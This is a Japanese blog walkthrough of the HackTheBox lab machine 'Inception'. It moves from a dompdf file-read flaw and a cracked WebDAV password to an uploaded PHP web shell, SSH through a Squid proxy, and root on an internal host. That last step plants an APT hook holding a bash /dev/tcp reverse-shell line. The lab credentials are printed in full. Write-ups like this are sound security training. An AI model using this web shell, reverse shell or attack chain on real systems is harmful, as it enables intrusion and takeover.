初めに
こんにちは、今回は HackTheBox の Inception を攻略していきます。
難易度は Medium です。
本マシンは、プロキシサービスの Squid が稼働しており、プロキシ経由で SSH にアクセスして侵入していきます。
侵入後も別マシンにアクセスしながら進めていくところ Medium って感じがします。
偵察
最初に、稼働しているポートを調査します。
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 -Pn -sCV 10.10.10.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 20:07 JST
Nmap scan report for 10.10.10.67
Host is up (0.41s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.55 seconds
80番の他に3128で Squid が稼働していることが確認できます。
通常のマシンと違って SSH やメンテナンス系サービスが空いていないので、直接初期侵入できそうな入り口はなさそうです。
Webサイト
email を入力してボタンを押下してみましたが特に何も起こりません。
レスポンスの HTML の下部をよーくスクロールして見ていくと dompdf
という記載があります。
この dompdf というのは、HTML を PDF に変換するツールのようです。
/dompdf
を確認してみると、ディレクトリリスティングが可能なようです。
VERSION ファイルを閲覧してみると、v0.6.0 であることが分かります。
このバージョンには Exploit がありそうですね。
上記の通りにクエリパラメータinput_file
を付与して burp の repeater で送ってあげると、/etc/passwd
を入手することが出来ました。
出力されたユーザのうち、nologin
でないのは cobb
なので、このユーザが初期侵入対象なのではないかと推察できます。ただ、これだけだとどうしようもないのでもう少し見てみましょう。
今回のマシンは Apache で稼働しているので、Apache の config ファイルなどから有力な情報が手に入らないか検討してみようと思います。
Apache では VirtualHost の設定は /etc/apache2/sites-available
に格納されており、一番最初に読み込まれるのは 000-default.conf
であることが多いです。
下の方に面白そうなファイル(/var/www/html/webdav_test_inception/webdav.passwd
)があります。認証情報でしょうか?見てみましょう。
WebDAV
webdav_tester
というユーザのパスワードハッシュらしきものが見えています。
こちらは john
でクラックしてみましょう。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt tester.hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babygurl69 (?)
1g 0:00:00:00 DONE (2025-08-06 00:27) 1.041g/s 23400p/s 23400c/s 23400C/s mario12..130790
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
無事クラックに成功しました。
/etc/passwd
のユーザ一覧にはいなかったので、/webdav_test_inception
の認証情報でしょうか。
アクセスしてみると Basic 認証がついているので試しに入力してみます。
失敗です。
そもそも WebDAV とは HTTP プロトコルの拡張機能で、 WebDAV クライアント(Microsoft Web Folders など)がリモート Web サーバー上のファイルを共同で編集・管理できるようにするものです。
ブラウザからアクセスはできないので、davtest
を用いて調査していきましょう。
davtest
とは、WebDAV サーバの脆弱性をテストするためのツールです。ファイルのアップロードや、アップロードしたファイルの実行などが可能かどうかを調べます。
先程手に入った認証情報を付与しながら実行します。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ davtest -url http://inception.htb/webdav_test_inception -auth webdav_tester:babygurl69
********************************************************
Testing DAV connection
OPEN SUCCEED: http://inception.htb/webdav_test_inception
********************************************************
NOTE Random string for this session: Xb5h7Nzh4
********************************************************
Creating directory
MKCOL SUCCEED: Created http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4
********************************************************
Sending test files
PUT jsp SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.jsp
PUT shtml SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.shtml
PUT html SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.html
PUT aspx SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.aspx
PUT txt SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.txt
PUT asp SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.asp
PUT jhtml SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.jhtml
PUT pl SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.pl
PUT cfm SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.cfm
PUT php SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.php
PUT cgi SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.cgi
********************************************************
Checking for test file execution
EXEC jsp FAIL
EXEC shtml FAIL
EXEC html SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.html
EXEC html FAIL
EXEC aspx FAIL
EXEC txt SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.txt
EXEC txt FAIL
EXEC asp FAIL
EXEC jhtml FAIL
EXEC pl FAIL
EXEC cfm FAIL
EXEC php SUCCEED: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.php
EXEC php FAIL
EXEC cgi FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.jsp
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.shtml
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.html
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.aspx
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.txt
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.asp
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.jhtml
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.pl
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.cfm
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.php
PUT File: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.cgi
Executes: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.html
Executes: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.txt
Executes: http://inception.htb/webdav_test_inception/DavTestDir_Xb5h7Nzh4/davtest_Xb5h7Nzh4.php
出力結果から、ファイルのアップロードは任意の拡張子で可能であり、php に関しては実行まで可能であることが分かります。
それではこちらのファイルをアップロードして、OS コマンドを叩いてみましょう。
<?php system($_REQUEST["cmd"]); ?>
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ curl -X PUT http://webdav_tester:babygurl69@inception.htb/webdav_test_inception/shell.php -d @shell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /webdav_test_inception/shell.php has been created.</p>
<hr />
<address>Apache/2.4.18 (Ubuntu) Server at inception.htb Port 80</address>
</body></html>
アップロードが成功したみたいなので、実行してみます。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ curl --data-urlencode 'cmd=whoami' http://webdav_tester:babygurl69@inception.htb/webdav_test_inception/shell.php
www-data
無事叩けているみたいですね。それではこの shell.php を通じて調査を進めていきます。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ curl --data-urlencode 'cmd=ls /var/www/html' http://webdav_tester:babygurl69@inception.htb/webdav_test_inception/shell.php
LICENSE.txt
README.txt
assets
dompdf
images
index.html
latest.tar.gz
webdav_test_inception
wordpress_4.8.3
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ curl --data-urlencode 'cmd=ls /var/www/html/wordpress_4.8.3' http://webdav_tester:babygurl69@inception.htb/webdav_test_inception/shell.php
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
...
wp-trackback.php
xmlrpc.php
wp-config.php
が怪しいので中身を確認してみます。
<?php
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
...
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
内容は端折っていますが、パスワードらしきものが見えています。
これでどこかしらにログインできそうですね。
次に、このマシンのポート待ち受け状態を確認していきます。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ curl --data-urlencode 'cmd=netstat -nl' http://webdav_tester:babygurl69@inception.htb/webdav_test_inception/shell.php
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
udp 0 0 0.0.0.0:43631 0.0.0.0:*
udp6 0 0 :::60952 :::*
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw6 0 0 :::58 :::* 7
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 17667 /run/systemd/private
unix 2 [ ACC ] SEQPACKET LISTENING 17675 /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 17676 /run/systemd/journal/stdout
この結果から、nmap では close していて検知していなかったものの、SSH 自体は稼働していることが分かります。
Squid が稼働していることから、このSquid 経由で接続できないか試してみましょう。
Proxy設定~初期侵入
kali では Proxy を設定する際は /etc/proxychains4.conf
を編集します。
今回ターゲットでは 3128 ポートで Squid が稼働しているので [ProxyList] の項目を以下に書き換えます。
[ProxyList]
http 10.10.10.67 3128
次に、proxychains
を使ってプロキシ経由で SSH 接続をしてみます。
ユーザは /etc/passwd
で怪しかった cobb 、パスワードは wp-config.php
から拾ってきたパスワードを利用しています。
┌──(kali㉿kali)-[~/hackthebox/inception]
└─$ proxychains ssh cobb@127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 10.10.10.67:3128 ... 127.0.0.1:22 ... OK
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:U0SGU+GVWTOFT70ijo+5sR0ic98xILeRExQn+xTYLyg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
cobb@127.0.0.1's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Nov 30 20:06:16 2017 from 127.0.0.1
cobb@Inception:~$ whoami
cobb
cobb@Inception:~$
Privilege Escalation
ネットワークの調査
まずは sudo -l
にて、sudo 経由で実行できるコマンドを確認します。
cobb@Inception:~$ sudo -l
[sudo] password for cobb:
Matching Defaults entries for cobb on Inception:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cobb may run the following commands on Inception:
(ALL : ALL) ALL
まさかの ALL です。
cobb@Inception:~$ sudo -i
root@Inception:~# whoami
root
root@Inception:~# ls
root.txt
root@Inception:~# cat root.txt
You're waiting for a train. A train that will take you far away. Wake up to find root.txt.
root@Inception:~#
権限昇格はできたものの、root.txt
が読めない状態のようです。
折角高権限を獲得しているので、改めてポート待ち受け状態を確認します。
root@Inception:~# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 36 127.0.0.1:48086 127.0.0.1:22 ESTABLISHED
tcp 0 0 127.0.0.1:22 127.0.0.1:48086 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
tcp6 0 0 192.168.0.10:3128 192.168.0.1:43800 ESTABLISHED
どうやら、プロキシ経由で 192.168.0.1 と接続しているようです。
ということで、この 192.168.0.1 で稼働しているサービスを確認していきます。
侵入対象に都合よく nmap が入っている訳はないので、代わりに nc で調査していきます。
root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!
root@Inception:~#
各オプションは以下の通りです。
-z: 実際のデータは表示せず、接続のみ確認する
-v: 詳細出力を表示する
2>&1: 標準エラーを標準出力に接続する(それにより、後段の grep で失敗した結果を除外できる)
FTP, SSH, DNS が稼働していることが分かります。
FTP調査
FTP から調査していきます。
root@Inception:~# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Aug 10 2022 bin
drwxr-xr-x 3 0 0 4096 Aug 10 2022 boot
drwxr-xr-x 18 0 0 3780 Aug 08 12:38 dev
drwxr-xr-x 93 0 0 4096 Aug 10 2022 etc
drwxr-xr-x 3 0 0 4096 Aug 10 2022 home
lrwxrwxrwx 1 0 0 33 Nov 30 2017 initrd.img -> boot/initrd.img-4.4.0-101-generic
drwxr-xr-x 22 0 0 4096 Aug 10 2022 lib
drwxr-xr-x 2 0 0 4096 Aug 10 2022 lib64
drwx------ 2 0 0 16384 Oct 30 2017 lost+found
drwxr-xr-x 3 0 0 4096 Oct 30 2017 media
drwxr-xr-x 2 0 0 4096 Aug 10 2022 mnt
drwxr-xr-x 2 0 0 4096 Aug 01 2017 opt
dr-xr-xr-x 197 0 0 0 Aug 08 12:38 proc
drwx------ 6 0 0 4096 Aug 08 12:39 root
drwxr-xr-x 26 0 0 900 Aug 08 12:38 run
drwxr-xr-x 2 0 0 12288 Nov 30 2017 sbin
drwxr-xr-x 2 0 0 4096 Aug 10 2022 snap
drwxr-xr-x 3 0 0 4096 Aug 10 2022 srv
dr-xr-xr-x 13 0 0 0 Aug 08 12:38 sys
drwxrwxrwt 10 0 0 4096 Aug 08 13:30 tmp
drwxr-xr-x 10 0 0 4096 Aug 10 2022 usr
drwxr-xr-x 13 0 0 4096 Aug 10 2022 var
lrwxrwxrwx 1 0 0 30 Nov 30 2017 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
226 Directory send OK
anonymous ログインが可能なようでした。
色々調査した結果 etc 配下に crontab があったのでこれを拾ってきます。
ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (3.7872 MB/s)
ftp> exit
221 Goodbye.
root@Inception:~# cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/null
crontab とは、UNIX/Linux において定期的なタスクを自動的に実行する機能(cron)において、ジョブを登録・管理する役割を持っています。
拾ってきた中身を見ると 5 分に一回apt update
が走っていることが分かります。これに便乗して権限昇格を狙っていきます。
apt の悪用
apt
や dpkg
にはフックスクリプト機構と呼ばれるものがあります。これは apt
の実行前後に自動でスクリプトを実行するような機構のことです。
これは/etc/apt/apt.conf.d
配下に配置されています。例えば autoremove
に対応するスクリプトは下記です。
APT
{
NeverAutoRemove
{
"^firmware-linux.*";
"^linux-firmware$";
"^linux-image-[a-z0-9]*$";
"^linux-image-[a-z0-9]*-[a-z0-9]*$";
};
VersionedKernelPackages
{
# kernels
"linux-.*";
"kfreebsd-.*";
"gnumach-.*";
# (out-of-tree) modules
".*-modules";
".*-kernel";
};
Never-MarkAuto-Sections
{
"metapackages";
"tasks";
};
Move-Autobit-Sections
{
"oldlibs";
};
};
自動で削除してはいけないファイルに関する記載などがあることが分かります。
今回はここにリバースシェルを実行するスクリプトを配置する方針です。
最初に以下のようなファイルを作成します。(ネーミングセンスには目を瞑っていただけますと...)
APT::Update::Pre-Invoke {"bash -c 'bash -i >& /dev/tcp/192.168.0.10/4444 0>&1'"}
各項目の解説
APT
:dkpg
の場合はこちらがDPkg
になる。
Update
:apt update
の場合に発火することを示す。任意の動作で発火させる場合は空欄。
Pre-Invoke
: 実行前に発火させる場合に記載。実行後に発火させる場合はPost-Invoke
。
続けてこちらを tftp でアップロードします。
cobb@Inception:~$ tftp 192.168.0.1
tftp> put /dev/shm/revrev /etc/apt/apt.conf.d/revrev
Sent 82 bytes in 0.0 seconds
tftp> quit
cobb@Inception:~$
アップロードが終わったらそのまま nc で待ち構えておきます。最長5分で root 権限が取れるはずです。
cobb@Inception:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.0.1] port 4444 [tcp/*] accepted (family 2, sport 44724)
bash: cannot set terminal process group (2130): Inappropriate ioctl for device
bash: no job control in this shell
root@Inception:/tmp# whoami
whoami
root
root@Inception:/tmp#
あとがき
今回は、Inception
を攻略していきました。Squid
や WebDav
、apt
に関する知識が必要でしたね。筆者も大変勉強になりました。